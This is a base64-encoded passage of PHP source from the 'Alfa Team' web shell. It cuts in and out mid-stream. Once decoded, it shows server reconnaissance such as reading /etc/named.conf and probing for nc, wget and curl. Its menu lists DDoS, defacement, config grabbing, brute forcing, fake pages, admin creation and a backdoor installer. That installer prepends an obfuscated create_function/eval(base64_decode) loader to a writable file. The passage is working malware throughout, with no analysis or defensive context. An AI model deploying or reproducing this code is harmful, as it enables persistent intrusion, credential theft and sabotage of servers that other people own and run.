bmYiLGZhbHNlKTsNCmlmKCEkZDBtYWlucyl7ZWNobyAiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fWVsc2V7DQokY291bnQ9MDsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7DQppZihAc3Ryc3RyKCRkMG1haW4sInpvbmUiKSl7DQpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsNCmZsdXNoKCk7DQppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7DQpmbHVzaCgpOw0KJGNvdW50Kys7fX19DQplY2hvICIkY291bnQgRG9tYWlucyI7fX0NCmVsc2V7ZWNobygiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iKTt9DQplY2hvICc8L3NwYW4+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIxNiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5IREQ6PC9zcGFuPjwvdGQ+DQo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Ub3RhbDo8L3NwYW4+PGI+Jy5hbGZhU2l6ZSgkdG90YWxTcGFjZSkuJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5GcmVlOjwvc3Bhbj48Yj4nIC4gYWxmYVNpemUoJGZyZWVTcGFjZSkgLiAnIFsnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyVdPC9iPjwvdGQ+DQo8L3RyPic7DQppZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7DQokdXNlZnVsX2Rvd25sb2FkZXIgPSAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPnVzZWZ1bDo8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfdXNlZnVsIj4tLS0tLS0tLS0tLS0tLTwvc3Bhbj48L3RkPjwvdHI+PHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZG93bmxvYWRlciI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPic7DQppZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKXsNCmlmKHN0cmxlbihhbGZhRXgoImlkIixmYWxzZSxmYWxzZSkpPjApew0KZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZWZ1bCA6IDwvc3Bhbj4nOw0KJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppYWxmYTInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7DQokeD0wOw0KZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSlpZihhbGZhV2hpY2goJGl0ZW0pKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0uJzwvc3Bhbj4nO30NCmlmKCR4PT0wKXtlY2hvICI8c3BhbiBjbGFzcz0naGVhZGVyX3ZhbHVlcycgaWQ9J2hlYWRlcl91c2VmdWwnPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30NCmVjaG8gJzwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+JzsNCiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOw0KJHg9MDsNCmZvcmVhY2goJGRvd25sb2FkZXJzIGFzICRpdGVtMilpZihhbGZhV2hpY2goJGl0ZW0yKSl7JHgrKztlY2hvICc8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgc3R5bGU9Im1hcmdpbi1sZWZ0OiA0cHg7Ij4nLiRpdGVtMi4nPC9zcGFuPic7fQ0KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX2Rvd25sb2FkZXInPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30NCmVjaG8gJzwvdGQ+DQo8L3RyPic7DQp9ZWxzZXsNCmVjaG8gJHVzZWZ1bF9kb3dubG9hZGVyOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXSA9ICJ0cnVlIjsNCn0NCn1lbHNlew0KZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiOw0KfQ0KfWVsc2V7DQplY2hvICc8dHI+PHRkIGhlaWdodD0iMTgiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+V2luZG93czo8L3NwYW4+PGI+JzsNCmVjaG8gYWxmYUV4KCd2ZXInLGZhbHNlLGZhbHNlKTsNCmVjaG8gJzwvdGQ+DQo8L3RyPiA8dHI+DQo8dGQgaGVpZ2h0PSIwIiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRvd25sb2FkZXI6IDwvc3Bhbj48Yj4tLS0tLS0tLS0tLS0tPC9iPjwvdGQ+DQo8L3RyPjwvYj4nOw0KfQ0KJHF1b3RlcyA9IChmdW5jdGlvbl9leGlzdHMoJ2dldF9tYWdpY19xdW90ZXNfZ3BjJyk/Z2V0X21hZ2ljX3F1b3Rlc19ncGMoKTonMCcpO2lmICgkcXVvdGVzID09ICIxIiBvciAkcXVvdGVzID09ICJvbiIpeyRtYWdpYyA9ICc8Yj48c3BhbiBjbGFzcz0iaGVhZGVyX29uIj5PTjwvc3Bhbj4nO31lbHNleyRtYWdpYyA9ICc8c3BhbiBjbGFzcz0iaGVhZGVyX29mZiI+T0ZGPC9zcGFuPic7fQ0KZWNobyAnPHRyPg0KPHRkIGhlaWdodD0iMTYiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RGlzYWJsZSBGdW5jdGlvbnM6IDwvc3Bhbj48Yj4nLkFsZmFfR2V0RGlzYWJsZV9GdW5jdGlvbigpLic8L2I+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5DVVJMIDo8L3NwYW4+Jy4kY3VybC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TU0gyIDogPC9zcGFuPicuJHNzaDIuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+TWFnaWMgUXVvdGVzIDogPC9zcGFuPicuJG1hZ2ljLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBNeVNRTCA6PC9zcGFuPicuJG15c3FsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk1TU1FMIDo8L3NwYW4+Jy4kbXNzcWwuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFBvc3RncmVTUUwgOjwvc3Bhbj4nLiRwZy4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gT3JhY2xlIDo8L3NwYW4+Jy4kb3IuJyAnLigkR0xPQkFMU1snc3lzJ109PSJ1bml4Ij8nfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBDR0kgOjwvc3Bhbj4gJy4kY2dpX3NoZWxsOiIiKS4nPC90ZD48dGQgd2lkdGg9IjE1JSI+PGRpdiBpZD0iYWxmYV9zb2xldmlzaWJsZSI+PGNlbnRlcj48YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vb2tpZ250ZW5nLmdudGVuZy4xIiB0YXJnZXQ9Il9ibGFuayI+PHNwYW4+PGZvbnQgY2xhc3M9InNvbGV2aXNpYmxlLXRleHQiIGNvbG9yPSIjMEYwIj5VQ0VOIEhBWE9SIOKZoSBUSUFSQSBDTlRJSzwvZm9udD48L3NwYW4+PC9hPjwvY2VudGVyPjwvZGl2PjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGhlaWdodD0iMTEiIGNvbHNwYW49IjMiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+T3Blbl9iYXNlZGlyIDo8L3NwYW4+PGI+Jy4kb3Blbl9iLic8L2I+IHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5TYWZlX21vZGVfZXhlY19kaXIgOjwvc3Bhbj48Yj4nLiRzYWZlX2V4ZS4nPC9iPiB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IFNhZmVfbW9kZV9pbmNsdWRlX2RpciA6PC9zcGFuPjwvYj4nLiRzYWZlX2luY2x1ZGUuJzwvYj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZCBoZWlnaHQ9IjExIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNvZnRXYXJlOiA8L3NwYW4+PC90ZD4NCjx0ZCBjb2xzcGFuPSIyIj48Yj4nLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L2I+PC90ZD4NCjwvdHI+JzsNCmlmKCRHTE9CQUxTWydzeXMnXT09IndpbiIpew0KZWNobyAnPHRyPg0KPHRkIGhlaWdodD0iMTIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RFJJVkU6PC9zcGFuPjwvdGQ+DQo8dGQgY29sc3Bhbj0iMiI+PGI+Jy4kZHJpdmVzLic8L2I+PC90ZD4NCjwvdHI+JzsNCn0NCmVjaG8gJzx0cj4NCjx0ZCBoZWlnaHQ9IjEyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBXRDo8L3NwYW4+PC90ZD4NCjx0ZCBjb2xzcGFuPSIyIj48c3BhbiBpZD0iaGVhZGVyX2N3ZCI+Jy4kY3dkX2xpbmtzLicgPC9zcGFuPjxhIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJEdMT0JBTFNbJ2hvbWVfY3dkJ10uJyIgb25jbGljaz0iZyhcJ0ZpbGVzTWFuXCcsXCcnIC4gJEdMT0JBTFNbJ2hvbWVfY3dkJ10gLiAnXCcsXCdcJyxcJ1wnLFwnXCcpIj48c3BhbiBjbGFzcz0iaG9tZV9zaGVsbCI+WyBIb21lIFNoZWxsIF08L3NwYW4+IDwvYT48L3RkPg0KPC90cj4NCjwvdGFibGU+DQo8L2Rpdj4NCjxkaXYgaWQ9Im1ldW5saXN0Ij4NCjx1bD4NCic7DQokbGkgPSBhcnJheSgncHJvYyc9PidQcm9jZXNzJywncGhwZXZhbCc9PidFdmFsJywnc3FsJz0+J1NRTCBNYW5hZ2VyJywnZHVtcGVyJz0+J0RhdGFiYXNlIER1bXBlcicsJ2NvbGR1bXBlcic9PidDb2x1bW4gRHVtcGVyJywnaGFzaCc9PidFbi1EZWNvZGVyJywnY29ubmVjdCc9PidCQycsDQonem9uZWgnPT4nWk9ORS1IJywnZG9zJz0+J0RET1MnLCdzYWZlJz0+J0J5UGFzc2VyJywnY2dpc2hlbGwnPT4nQ2dpIFNoZWxsJywnc3NpU2hlbGwnPT4nU1NJIFNIRUxMJywnY3BjcmFjayc9PidIYXNoIFRvb2xzJywNCidwb3J0c2Nhbm5lcic9PidQb3J0IFNjYW5lcicsJ2Jhc2VkaXInPT4nT3BlbiBCYXNlRGlyJywnbWFpbCc9PidGYWtlIE1haWwnLCd6aXBlcic9PidDb21wcmVzc29yJywnZGV6aXBlcic9PidEZUNvbXByZXNzb3InLCdJbmRleENoYW5nZXInPT4nSW5kZXggQ2hhbmdlcicsJ3B3Y2hhbmdlcic9PidBZGQgTmV3IEFkbWluJywnU2hlbGxJbmplY3RvcnMnPT4nU2hlbGwgSW5qZWN0b3JzJywNCidwaHAyeG1sJz0+J1BIUDJYTUwnLCdjbG91ZGZsYXJlJz0+J0Nsb3VkRmxhcmUnLCdXaG1jcyc9PidXaG1jcyBEZUNvZGVyJywnc3ltbGluayc9PidTeW1saW5rJywnTWFzc0RlZmFjZXInPT4nTWFzcyBEZWZhY2VyJywnQ3JhY2tlcnMnPT4nQnJ1dGVGb3JjZXInLCdzZWFyY2hlcic9PidTZWFyY2hlcicsJ2NvbmZpZ19ncmFiYmVyJz0+J0NvbmZpZyBHcmFiYmVyJywnZmFrZXBhZ2UnPT4nRmFrZSBQYWdlJywnYXJjaGl2ZV9tYW5hZ2VyJz0+J0FyY2hpdmUgTWFuYWdlcicsDQonY21zaGlqYWNrZXInPT4nQ01TIEhpamFja2VyJywncmVtb3RlZGwnPT4nUmVtb3RlIFVwbG9hZCcsJ2luYmFja2Rvb3InPT4nSW5zdGFsbCBCYWNrRG9vcicsJ3dob2lzJz0+J1dob2lzJywnc2VsZnJtJz0+J1JlbW92ZSBTaGVsbCcNCik7DQpmb3JlYWNoKCRsaSBhcyAka2V5PT4kdmFsdWUpew0KZWNobygnPGxpPjxhIGlkPSJtZW51X29wdF8nLiRrZXkuJyIgaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9Jy4ka2V5LiciIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9ImFsZmFfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9Jy4ka2V5LidcJztnKFwnJy4ka2V5LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPicuJHZhbHVlLic8L2E+PC9saT4nLiJcbiIpOw0KfQ0KZWNobyAnPC91bD48ZGl2IHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7cGFkZGluZzogNnB4OyI+PGEgaWQ9Im1lbnVfb3B0X3NldHRpbmdzIiBocmVmPSIjYWN0aW9uPW9wdGlvbnMmcGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJm9wdD1zZXR0aW5ncyIgY2xhc3M9Im1lbnVfb3B0aW9ucyIgb25jbGljaz0iYWxmYV9jYW5fYWRkX29wdD10cnVlO3RoaXMuaHJlZj1cJyNhY3Rpb249b3B0aW9ucyZwYXRoPVwnK2NfK1wnJm9wdD1zZXR0aW5nc1wnO2coXCdzZXR0aW5nc1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpO2QucXVlcnlTZWxlY3RvcihcJy5vcHQtdGl0bGVcJykuaW5uZXJIVE1MPXRoaXMuaW5uZXJIVE1MOyI+VWNlbiBTZXR0aW5nczwvYT48YSBzdHlsZT0iZGlzcGxheTpub25lOyIgaWQ9Im1lbnVfb3B0X21hcmtldCIgaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9bWFya2V0IiBjbGFzcz0ibWVudV9vcHRpb25zIiBvbmNsaWNrPSJhbGZhX2Nhbl9hZGRfb3B0PXRydWU7dGhpcy5ocmVmPVwnI2FjdGlvbj1vcHRpb25zJnBhdGg9XCcrY18rXCcmb3B0PW1hcmtldFwnO2coXCdtYXJrZXRcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPjxzcGFuIGNsYXNzPSJhbGZhX3BsdXMiPkFsZmEgbWFya2V0PC9zcGFuPjwvYT48YSBpZD0ibWVudV9vcHRfYWJvdXR1cyIgaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9YWJvdXR1cyIgY2xhc3M9Im1lbnVfb3B0aW9ucyIgb25jbGljaz0iYWxmYV9jYW5fYWRkX29wdD10cnVlO3RoaXMuaHJlZj1cJyNhY3Rpb249b3B0aW9ucyZwYXRoPVwnK2NfK1wnJm9wdD1hYm91dHVzXCc7ZyhcJ2Fib3V0dXNcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPkFib3V0IFVzPC9hPicuKCFlbXB0eSgkX0NPT0tJRVsnQWxmYVVzZXInXSkgJiYgIWVtcHR5KCRfQ09PS0lFWydBbGZhUGFzcyddKSA/ICc8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJhbGZhTG9nT3V0KCk7Ij48Zm9udCBjb2xvcj0icmVkIj5Mb2dPdXQ8L2ZvbnQ+PC9hPic6JycpLic8L2Rpdj48L2Rpdj48ZGl2IGlkPSJmaWxlc21hbl90YWJzIj48ZGl2IG9ubW91c2VvdmVyPSJhbGZhRmlsZXNtYW5UYWJTaG93VGl0bGUodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJhbGZhRmlsZXNtYW5UYWJIaWRlVGl0bGUodGhpcyxldmVudCk7IiBmbV9jb3VudGVyPSIxIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBmbV9pZD0iMSIgaWQ9ImZpbGVzbWFuX3RhYl8xIiBjbGFzcz0iZmlsZXNtYW5fdGFiIGZpbGVzbWFuLXRhYi1hY3RpdmUiIG9uY2xpY2s9ImZpbGVzbWFuVGFiQ29udHJvbGxlcih0aGlzKTsiPjxpbWcgY2xhc3M9ImZvbGRlci10YWItaWNvbiIgc3JjPSJodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvZm9sZGVyMi5zdmciPiA8c3Bhbj5GaWxlIG1hbmFnZXI8L3NwYW4+PC9kaXY+PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUtYmxvY2s7IiBpZD0iZmlsZXNtYW5fdGFic19jaGlsZCI+PC9kaXY+PGRpdiBpZD0iZmlsZXNtYW5fbmV3X3RhYiIgY2xhc3M9ImZpbGVzbWFuX3RhYiIgc3R5bGU9ImJhY2tncm91bmQ6IG1hcm9vbjsiIG9uQ2xpY2s9ImFsZmFGaWxlc01hbk5ld1RhYihjXyxcJy9cJywxKTsiPk5ldyBUYWIgKzwvZGl2PjwvZGl2Pic7fWVsc2V7DQpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV9OT1RJQ0UpOw0KQGluaV9zZXQoJ2Vycm9yX2xvZycsTlVMTCk7DQpAaW5pX3NldCgnbG9nX2Vycm9ycycsMCk7DQpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsNCkBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIDApOw0KQHNldF90aW1lX2xpbWl0KDApOw0KfX0NCmZ1bmN0aW9uIGFsZmFsb2dvdXQoKXsNCkBzZXRjb29raWUoIkFsZmFVc2VyIiwgbnVsbCwgMjAxMik7DQpAc2V0Y29va2llKCJBbGZhUGFzcyIsIG51bGwsIDIwMTIpOw0KdW5zZXQoJF9DT09LSUVbJ0FsZmFVc2VyJ10sJF9DT09LSUVbJ0FsZmFQYXNzJ10pOw0KZWNobygib2siKTsNCn0NCmZ1bmN0aW9uIHNob3dBbmltYXRpb24oJG5hbWUpew0KCXJldHVybiAnLXdlYmtpdC1hbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczstbW96LWFuaW1hdGlvbjogJy4kbmFtZS4nIDgwMG1zIGVhc2UtaW4tb3V0IGZvcndhcmRzOy1tcy1hbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczthbmltYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczsnOw0KfQ0KZnVuY3Rpb24gX19zaG93aWNvbigkcil7DQoJJHNbJ2J0biddPSdodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9idG4ucG5nJzsNCgkkc1snYWxmYW1pbmknXT0naHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pbWFnZXMvYWxmYW1pbmkucG5nJzsNCgkkc1snbG9hZGVyJ109J2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2xvYWRlci5zdmcnOw0KCS8vcmV0dXJuICdkYXRhOmltYWdlL3BuZztiYXNlNjQsJy5fX2dldF9yZXNvdXJjZSgkc1skcl0pOw0KCXJldHVybiAkc1skcl07DQp9DQpmdW5jdGlvbiBhbGZhaW5iYWNrZG9vcigpew0KYWxmYWhlYWQoKTsNCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgSW5zdGFsbCBCYWNrRG9vciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdmaWxlXCcpIj58IEluIEZpbGUgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZGJcJykiPnwgSW4gRGF0YUJhc2UgfCA8L2E+PC9oMz48L2NlbnRlcj4nOw0KJGVycm9yID0gJzxmb250IGNvbG9yPSJyZWQiPkVycm9yIEluIEluamVjdCBCYWNrRG9vci4uLiE8YnI+RmlsZSBMb2FkZXIgaXMgbm90IFdyaXRhYmxlIE9yIE5vdCBFeGlzdHMuLi4hPC9mb250Pic7DQokc3VjY2Vzcz0gJzxmb250IGNvbG9yPSJncmVlbiI+U3VjY2Vzcy4uLiEnOw0KJHRleHRhcmVhID0gIjxkaXYgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdiYWNrZG9vcl90ZXh0YXJlYSc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+WW91ciBTaGVsbDo8L2Rpdj48cD48dGV4dGFyZWEgbmFtZT0nc2hlbGwnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjw/cGhwXG5cdGVjaG8oJ0FsZmEgVGVhbSBpcyBIZXJlLi4uIScpO1xuPz48L3RleHRhcmVhPjwvcD48L2Rpdj4iOw0KJHNlbGVjdCA9ICI8ZGl2IGNsYXNzPSd0eHRmb250Jz5Vc2U6PC9kaXY+IDxzZWxlY3QgbmFtZT0nbWV0aG9kJyBzdHlsZT0nd2lkdGg6MTU1cHg7JyBvbkNoYW5nZT0naW5CYWNrZG9vcih0aGlzKTsnPjxvcHRpb24gdmFsdWU9J2FsZmEnPkFsZmEgVGVhbSBVcGxvYWRlcjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J215Jz5NeSBQcml2YXRlIFNoZWxsPC9vcHRpb24+PC9zZWxlY3Q+IjsNCiRjd2QgPSAnRXhhbXBsZTogL2hvbWUvYWxmYS9wdWJsaWNfaHRtbC9pbmRleC5waHAnOw0KaWYoJF9QT1NUWydhbGZhMSddPT0nZmlsZScpew0KZWNobygiPGNlbnRlcj48cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYWRlcic+fCBJbiBGaWxlIHw8L2Rpdj48L3A+PHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpbmJhY2tkb29yJyxudWxsLCdmaWxlJyx0aGlzLm1ldGhvZC52YWx1ZSx0aGlzLmZpbGUudmFsdWUsdGhpcy5zaGVsbC52YWx1ZSx0aGlzLmtleS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPnskc2VsZWN0fSA8ZGl2IGNsYXNzPSd0eHRmb250Jz5CYWNrZG9vciBMb2FkZXI6PC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlJyBzaXplPSc1MCcgcGxhY2Vob2xkZXI9J3skY3dkfSc+IDxkaXYgY2xhc3M9J3R4dGZvbnQnPktleTogPC9kaXY+IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdrZXknIHNpemU9JzEwJyB2YWx1ZT0nYWxmYSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScgJz57JHRleHRhcmVhfTwvZm9ybT48L3A+PC9jZW50ZXI+Iik7DQppZigkX1BPU1RbJ2FsZmEyJ10hPScnJiYkX1BPU1RbJ2FsZmEzJ10hPScnJiYkX1BPU1RbJ2FsZmE0J10hPScnKXsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmEyJ107DQokZmlsZSA9ICRfUE9TVFsnYWxmYTMnXTsNCiRzaGVsbCA9ICRfUE9TVFsnYWxmYTQnXTsNCiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIicsJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2FsZmE1J10pKTsNCmlmKCRrZXk9PScnKSRrZXk9J2FsZmEnOw0KaWYoJG1ldGhvZD09J215Jyl7JHNoZWxsPV9fWlc1amIyUmxjZygkc2hlbGwpO31lbHNleyRzaGVsbD0kR0xPQkFMU1snX19BTEZBX1NIRUxMX0NPREUnXTt9DQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiYWxmYSJdKSYmJF9HRVRbImFsZmEiXT09IicuJGtleS4nIil7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwiLiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoIicuJHNoZWxsLiciKTtleGl0O30/Pic7DQppZihAaXNfZmlsZSgkZmlsZSkmJkBpc193cml0YWJsZSgkZmlsZSkpe0BmaWxlX3B1dF9jb250ZW50cygkZmlsZSwkY29kZS4iXG4iLkBmaWxlX2dldF9jb250ZW50cygkZmlsZSkpO19fYWxlcnQoJHN1Y2Nlc3MuIjxicj5SdW4gV2l0aDogIi5iYXNlbmFtZSgkZmlsZSkuIj9hbGZhPSIuJGtleS4nPC9mb250PicpO31lbHNle19fYWxlcnQoJGVycm9yKTt9fX0NCmlmKCRfUE9TVFsnYWxmYTEnXT09J2RiJyl7DQplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIERhdGFCYXNlIHw8L2Rpdj48L3A+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpbmJhY2tkb29yJyxudWxsLCdkYicsdGhpcy5kYl9ob3N0LnZhbHVlLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj4iKTsNCiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+DQphcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnZGJfaG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYl9ob3N0JywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQondGQyJyA9Pg0KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3VzZXJuYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3VzZXJuYW1lJywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQondGQzJyA9Pg0KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX3Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RiX3Bhc3N3b3JkJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KJ3RkNCcgPT4NCmFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdkY